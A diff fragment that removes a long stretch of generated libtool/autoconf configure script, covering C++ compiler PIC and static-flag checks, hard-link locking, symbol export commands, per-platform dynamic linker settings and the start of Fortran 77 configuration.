- *) lt_prog_compiler_pic_CXX=" $lt_prog_compiler_pic_CXX" ;;
- esac
-else
- lt_prog_compiler_pic_CXX=
- lt_prog_compiler_can_build_shared_CXX=no
-fi
-
-fi
-case $host_os in
- # For platforms which do not support PIC, -DPIC is meaningless:
- *djgpp*)
- lt_prog_compiler_pic_CXX=
- ;;
- *)
- lt_prog_compiler_pic_CXX="$lt_prog_compiler_pic_CXX -DPIC"
- ;;
-esac
-
-#
-# Check to make sure the static flag actually works.
-#
-wl=$lt_prog_compiler_wl_CXX eval lt_tmp_static_flag=\"$lt_prog_compiler_static_CXX\"
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler static flag $lt_tmp_static_flag works" >&5
-$as_echo_n "checking if $compiler static flag $lt_tmp_static_flag works... " >&6; }
-if ${lt_prog_compiler_static_works_CXX+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_static_works_CXX=no
- save_LDFLAGS="$LDFLAGS"
- LDFLAGS="$LDFLAGS $lt_tmp_static_flag"
- printf "$lt_simple_link_test_code" > conftest.$ac_ext
- if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then
- # The linker can only warn and ignore the option if not recognized
- # So say no if there are warnings
- if test -s conftest.err; then
- # Append any errors to the config.log.
- cat conftest.err 1>&5
- $echo "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_static_works_CXX=yes
- fi
- else
- lt_prog_compiler_static_works_CXX=yes
- fi
- fi
- $rm conftest*
- LDFLAGS="$save_LDFLAGS"
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_static_works_CXX" >&5
-$as_echo "$lt_prog_compiler_static_works_CXX" >&6; }
-
-if test x"$lt_prog_compiler_static_works_CXX" = xyes; then
- :
-else
- lt_prog_compiler_static_CXX=
-fi
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -c -o file.$ac_objext" >&5
-$as_echo_n "checking if $compiler supports -c -o file.$ac_objext... " >&6; }
-if ${lt_cv_prog_compiler_c_o_CXX+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_prog_compiler_c_o_CXX=no
- $rm -r conftest 2>/dev/null
- mkdir conftest
- cd conftest
- mkdir out
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- lt_compiler_flag="-o out/conftest2.$ac_objext"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>out/conftest.err)
- ac_status=$?
- cat out/conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s out/conftest2.$ac_objext
- then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
- $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
- if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
- lt_cv_prog_compiler_c_o_CXX=yes
- fi
- fi
- chmod u+w . 2>&5
- $rm conftest*
- # SGI C++ compiler will create directory out/ii_files/ for
- # template instantiation
- test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files
- $rm out/* && rmdir out
- cd ..
- rmdir conftest
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_c_o_CXX" >&5
-$as_echo "$lt_cv_prog_compiler_c_o_CXX" >&6; }
-
-
-hard_links="nottested"
-if test "$lt_cv_prog_compiler_c_o_CXX" = no && test "$need_locks" != no; then
- # do not overwrite the value of need_locks provided by the user
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking if we can lock with hard links" >&5
-$as_echo_n "checking if we can lock with hard links... " >&6; }
- hard_links=yes
- $rm conftest*
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- touch conftest.a
- ln conftest.a conftest.b 2>&5 || hard_links=no
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $hard_links" >&5
-$as_echo "$hard_links" >&6; }
- if test "$hard_links" = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5
-$as_echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;}
- need_locks=warn
- fi
-else
- need_locks=no
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $compiler linker ($LD) supports shared libraries" >&5
-$as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
-
- export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- case $host_os in
- aix4* | aix5*)
- # If we're using GNU nm, then we don't want the "-C" option.
- # -C means demangle to AIX nm, but means don't demangle with GNU nm
- if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
- export_symbols_cmds_CXX='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- else
- export_symbols_cmds_CXX='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- fi
- ;;
- pw32*)
- export_symbols_cmds_CXX="$ltdll_cmds"
- ;;
- cygwin* | mingw*)
- export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS] /s/.* \([^ ]*\)/\1 DATA/;/^.* __nm__/s/^.* __nm__\([^ ]*\) [^ ]*/\1 DATA/;/^I /d;/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols'
- ;;
- *)
- export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- ;;
- esac
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs_CXX" >&5
-$as_echo "$ld_shlibs_CXX" >&6; }
-test "$ld_shlibs_CXX" = no && can_build_shared=no
-
-#
-# Do we need to explicitly link libc?
-#
-case "x$archive_cmds_need_lc_CXX" in
-x|xyes)
- # Assume -lc should be added
- archive_cmds_need_lc_CXX=yes
-
- if test "$enable_shared" = yes && test "$GCC" = yes; then
- case $archive_cmds_CXX in
- *'~'*)
- # FIXME: we may have to deal with multi-command sequences.
- ;;
- '$CC '*)
- # Test whether the compiler implicitly links with -lc since on some
- # systems, -lgcc has to come before -lc. If gcc already passes -lc
- # to ld, don't add -lc before -lgcc.
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether -lc should be explicitly linked in" >&5
-$as_echo_n "checking whether -lc should be explicitly linked in... " >&6; }
- $rm conftest*
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } 2>conftest.err; then
- soname=conftest
- lib=conftest
- libobjs=conftest.$ac_objext
- deplibs=
- wl=$lt_prog_compiler_wl_CXX
- pic_flag=$lt_prog_compiler_pic_CXX
- compiler_flags=-v
- linker_flags=-v
- verstring=
- output_objdir=.
- libname=conftest
- lt_save_allow_undefined_flag=$allow_undefined_flag_CXX
- allow_undefined_flag_CXX=
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$archive_cmds_CXX 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\""; } >&5
- (eval $archive_cmds_CXX 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }
- then
- archive_cmds_need_lc_CXX=no
- else
- archive_cmds_need_lc_CXX=yes
- fi
- allow_undefined_flag_CXX=$lt_save_allow_undefined_flag
- else
- cat conftest.err 1>&5
- fi
- $rm conftest*
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $archive_cmds_need_lc_CXX" >&5
-$as_echo "$archive_cmds_need_lc_CXX" >&6; }
- ;;
- esac
- fi
- ;;
-esac
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking dynamic linker characteristics" >&5
-$as_echo_n "checking dynamic linker characteristics... " >&6; }
-library_names_spec=
-libname_spec='lib$name'
-soname_spec=
-shrext_cmds=".so"
-postinstall_cmds=
-postuninstall_cmds=
-finish_cmds=
-finish_eval=
-shlibpath_var=
-shlibpath_overrides_runpath=unknown
-version_type=none
-dynamic_linker="$host_os ld.so"
-sys_lib_dlsearch_path_spec="/lib /usr/lib"
-if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then
- # if the path contains ";" then we assume it to be the separator
- # otherwise default to the standard path separator (i.e. ":") - it is
- # assumed that no part of a normal pathname contains ";" but that should
- # okay in the real world where ";" in dirpaths is itself problematic.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
-else
- sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib"
-fi
-need_lib_prefix=unknown
-hardcode_into_libs=no
-
-# when you set need_version to no, make sure it does not cause -set_version
-# flags to be left without arguments
-need_version=unknown
-
-case $host_os in
-aix3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a'
- shlibpath_var=LIBPATH
-
- # AIX 3 has no versioning support, so we append a major version to the name.
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
-
-aix4* | aix5*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- hardcode_into_libs=yes
- if test "$host_cpu" = ia64; then
- # AIX 5 supports IA64
- library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- else
- # With GCC up to 2.95.x, collect2 would create an import file
- # for dependence libraries. The import file would start with
- # the line `#! .'. This would cause the generated library to
- # depend on `.', always an invalid library. This was fixed in
- # development snapshots of GCC prior to 3.0.
- case $host_os in
- aix4 | aix4.[01] | aix4.[01].*)
- if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)'
- echo ' yes '
- echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then
- :
- else
- can_build_shared=no
- fi
- ;;
- esac
- # AIX (on Power*) has no versioning support, so currently we can not hardcode correct
- # soname into executable. Probably we can add versioning support to
- # collect2, so additional links can be useful in future.
- if test "$aix_use_runtimelinking" = yes; then
- # If using run time linking (on AIX 4.2 or later) use lib<name>.so
- # instead of lib<name>.a to let people know that these are not
- # typical AIX shared libraries.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- else
- # We preserve .a as extension for shared libraries through AIX4.2
- # and later when we are not doing run time linking.
- library_names_spec='${libname}${release}.a $libname.a'
- soname_spec='${libname}${release}${shared_ext}$major'
- fi
- shlibpath_var=LIBPATH
- fi
- ;;
-
-amigaos*)
- library_names_spec='$libname.ixlibrary $libname.a'
- # Create ${libname}_ixlibrary.a entries in /sys/libs.
- finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done'
- ;;
-
-beos*)
- library_names_spec='${libname}${shared_ext}'
- dynamic_linker="$host_os ld.so"
- shlibpath_var=LIBRARY_PATH
- ;;
-
-bsdi[45]*)
- version_type=linux
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib"
- sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib"
- # the default ld.so.conf also contains /usr/contrib/lib and
- # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow
- # libtool to hard-code these into programs
- ;;
-
-cygwin* | mingw* | pw32*)
- version_type=windows
- shrext_cmds=".dll"
- need_version=no
- need_lib_prefix=no
-
- case $GCC,$host_os in
- yes,cygwin* | yes,mingw* | yes,pw32*)
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
- dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~
- dldir=$destdir/`dirname \$dlpath`~
- test -d \$dldir || mkdir -p \$dldir~
- $install_prog $dir/$dlname \$dldir/$dlname~
- chmod a+x \$dldir/$dlname'
- postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
- dlpath=$dir/\$dldll~
- $rm \$dlpath'
- shlibpath_overrides_runpath=yes
-
- case $host_os in
- cygwin*)
- # Cygwin DLLs use 'cyg' prefix rather than 'lib'
- soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib"
- ;;
- mingw*)
- # MinGW DLLs use traditional 'lib' prefix
- soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then
- # It is most probably a Windows format PATH printed by
- # mingw gcc, but we are running on Cygwin. Gcc prints its search
- # path with ; separators, and with drive letters. We can handle the
- # drive letters (cygwin fileutils understands them), so leave them,
- # especially as we might pass files found there to a mingw objdump,
- # which wouldn't understand a cygwinified path. Ahh.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
- ;;
- pw32*)
- # pw32 DLLs use 'pw' prefix rather than 'lib'
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
- ;;
-
- *)
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
- ;;
- esac
- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-
-darwin* | rhapsody*)
- dynamic_linker="$host_os dyld"
- version_type=darwin
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext'
- soname_spec='${libname}${release}${major}$shared_ext'
- shlibpath_overrides_runpath=yes
- shlibpath_var=DYLD_LIBRARY_PATH
- shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
- # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same.
- if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"`
- else
- sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib'
- fi
- sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
- ;;
-
-dgux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-freebsd1*)
- dynamic_linker=no
- ;;
-
-kfreebsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-freebsd* | dragonfly*)
- # DragonFly does not have aout. When/if they implement a new
- # versioning mechanism, adjust this.
- if test -x /usr/bin/objformat; then
- objformat=`/usr/bin/objformat`
- else
- case $host_os in
- freebsd[123]*) objformat=aout ;;
- *) objformat=elf ;;
- esac
- fi
- version_type=freebsd-$objformat
- case $version_type in
- freebsd-elf*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- need_version=no
- need_lib_prefix=no
- ;;
- freebsd-*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix'
- need_version=yes
- ;;
- esac
- shlibpath_var=LD_LIBRARY_PATH
- case $host_os in
- freebsd2*)
- shlibpath_overrides_runpath=yes
- ;;
- freebsd3.[01]* | freebsdelf3.[01]*)
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- freebsd3.[2-9]* | freebsdelf3.[2-9]* | \
- freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1)
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
- freebsd*) # from 4.6 on
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- esac
- ;;
-
-gnu*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- ;;
-
-hpux9* | hpux10* | hpux11*)
- # Give a soname corresponding to the major version so that dld.sl refuses to
- # link against other versions.
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- case $host_cpu in
- ia64*)
- shrext_cmds='.so'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.so"
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- if test "X$HPUX_IA64_MODE" = X32; then
- sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib"
- else
- sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64"
- fi
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- hppa*64*)
- shrext_cmds='.sl'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64"
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- *)
- shrext_cmds='.sl'
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=SHLIB_PATH
- shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
- esac
- # HP-UX runs *really* slowly unless shared libraries are mode 555.
- postinstall_cmds='chmod 555 $lib'
- ;;
-
-interix3*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
-
-irix5* | irix6* | nonstopux*)
- case $host_os in
- nonstopux*) version_type=nonstopux ;;
- *)
- if test "$lt_cv_prog_gnu_ld" = yes; then
- version_type=linux
- else
- version_type=irix
- fi ;;
- esac
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}'
- case $host_os in
- irix5* | nonstopux*)
- libsuff= shlibsuff=
- ;;
- *)
- case $LD in # libtool.m4 will add one of these switches to LD
- *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ")
- libsuff= shlibsuff= libmagic=32-bit;;
- *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ")
- libsuff=32 shlibsuff=N32 libmagic=N32;;
- *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ")
- libsuff=64 shlibsuff=64 libmagic=64-bit;;
- *) libsuff= shlibsuff= libmagic=never-match;;
- esac
- ;;
- esac
- shlibpath_var=LD_LIBRARY${shlibsuff}_PATH
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}"
- sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}"
- hardcode_into_libs=yes
- ;;
-
-# No shared lib support for Linux oldld, aout, or coff.
-linux*oldld* | linux*aout* | linux*coff*)
- dynamic_linker=no
- ;;
-
-# This must be Linux ELF.
-linux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- # This implies no fast_install, which is unacceptable.
- # Some rework will be needed to allow for fast_install
- # before this can be enabled.
- hardcode_into_libs=yes
-
- # Append ld.so.conf contents to the search path
- if test -f /etc/ld.so.conf; then
- lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
- sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
- fi
-
- # We used to test for /lib/ld.so.1 and disable shared libraries on
- # powerpc, because MkLinux only supported shared libraries with the
- # GNU dynamic linker. Since this was broken with cross compilers,
- # most powerpc-linux boxes support dynamic linking these days and
- # people can always --disable-shared, the test was removed, and we
- # assume the GNU/Linux dynamic linker is in use.
- dynamic_linker='GNU/Linux ld.so'
- ;;
-
-knetbsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-netbsd*)
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- dynamic_linker='NetBSD (a.out) ld.so'
- else
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='NetBSD ld.elf_so'
- fi
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
-
-newsos6)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
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- shlibpath_overrides_runpath=yes
- ;;
-
-nto-qnx*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
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- version_type=sunos
- sys_lib_dlsearch_path_spec="/usr/lib"
- need_lib_prefix=no
- # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs.
- case $host_os in
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- *) need_version=no ;;
- esac
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- shlibpath_var=LD_LIBRARY_PATH
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- shlibpath_overrides_runpath=no
- ;;
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- shlibpath_overrides_runpath=yes
- fi
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-
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-
-osf3* | osf4* | osf5*)
- version_type=osf
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
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-
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-
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- shlibpath_overrides_runpath=no
- need_lib_prefix=no
- export_dynamic_flag_spec='${wl}-Blargedynsym'
- runpath_var=LD_RUN_PATH
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- need_lib_prefix=no
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- motorola)
- need_lib_prefix=no
- need_version=no
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib'
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- esac
- ;;
-
-sysv4*MP*)
- if test -d /usr/nec ;then
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- shlibpath_var=LD_LIBRARY_PATH
- fi
- ;;
-
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- fi
- sys_lib_dlsearch_path_spec='/usr/lib'
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-uts4*)
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- dynamic_linker=no
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to hardcode library paths into programs" >&5
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- # We cannot hardcode anything, or else we can only hardcode existing
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- hardcode_action_CXX=unsupported
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- module_cmds_CXX | \
- module_expsym_cmds_CXX | \
- old_archive_from_expsyms_cmds_CXX | \
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-archive_cmds_need_lc_F77=no
-allow_undefined_flag_F77=
-always_export_symbols_F77=no
-archive_expsym_cmds_F77=
-export_dynamic_flag_spec_F77=
-hardcode_direct_F77=no
-hardcode_libdir_flag_spec_F77=
-hardcode_libdir_flag_spec_ld_F77=
-hardcode_libdir_separator_F77=
-hardcode_minus_L_F77=no
-hardcode_automatic_F77=no
-module_cmds_F77=
-module_expsym_cmds_F77=
-link_all_deplibs_F77=unknown
-old_archive_cmds_F77=$old_archive_cmds
-no_undefined_flag_F77=
-whole_archive_flag_spec_F77=
-enable_shared_with_static_runtimes_F77=no
-
-# Source file extension for f77 test sources.
-ac_ext=f
-
-# Object file extension for compiled f77 test sources.
-objext=o
-objext_F77=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code=" subroutine t\n return\n end\n"
-
-# Code to be used in simple link tests
-lt_simple_link_test_code=" program t\n end\n"
-
-# ltmain only uses $CC for tagged configurations so make sure $CC is set.
-
-# If no C compiler was specified, use CC.
-LTCC=${LTCC-"$CC"}
-
-# If no C compiler flags were specified, use CFLAGS.
-LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
-
-# Allow CC to be a program name with arguments.
-compiler=$CC
-
-
-# save warnings/boilerplate of simple test code
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_compile_test_code" >conftest.$ac_ext
-eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_compiler_boilerplate=`cat conftest.err`
-$rm conftest*
-
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_link_test_code" >conftest.$ac_ext
-eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_linker_boilerplate=`cat conftest.err`
-$rm conftest*
-
-
-# Allow CC to be a program name with arguments.
-lt_save_CC="$CC"
